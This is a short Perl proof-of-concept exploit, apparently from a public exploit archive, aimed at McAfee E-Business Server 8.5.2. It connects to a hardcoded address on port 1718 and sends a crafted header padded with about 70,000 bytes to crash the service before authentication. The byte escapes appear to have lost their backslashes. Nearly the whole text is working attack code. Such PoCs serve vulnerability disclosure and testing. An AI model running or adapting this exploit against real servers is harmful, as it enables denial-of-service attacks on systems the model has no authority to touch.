mcafee2.pl.txt
Posted on 09 January 2008
#!/usr/bin/perl # # # McAfee(R) E-Business Server(TM) 8.5.2 Remote preauth crash (PoC) # # - tested on Windows and Linux # # # Leon Juranic <leon.juranic@infigo.hr>, # Infigo IS <http://www.infigo.hr/en/> # use IO::Socket; $saddr = "192.168.1.3"; $sport = 1718; $exp1 = "x01x3fx2fx05x25x2a" . "A" x 69953;; print "> Sending exploit string... "; my $server_sock = IO::Socket::INET->new (PeerAddr => $saddr, PeerPort => $sport) || die ("Cannot connect to server!!! "); print $server_sock $exp1;
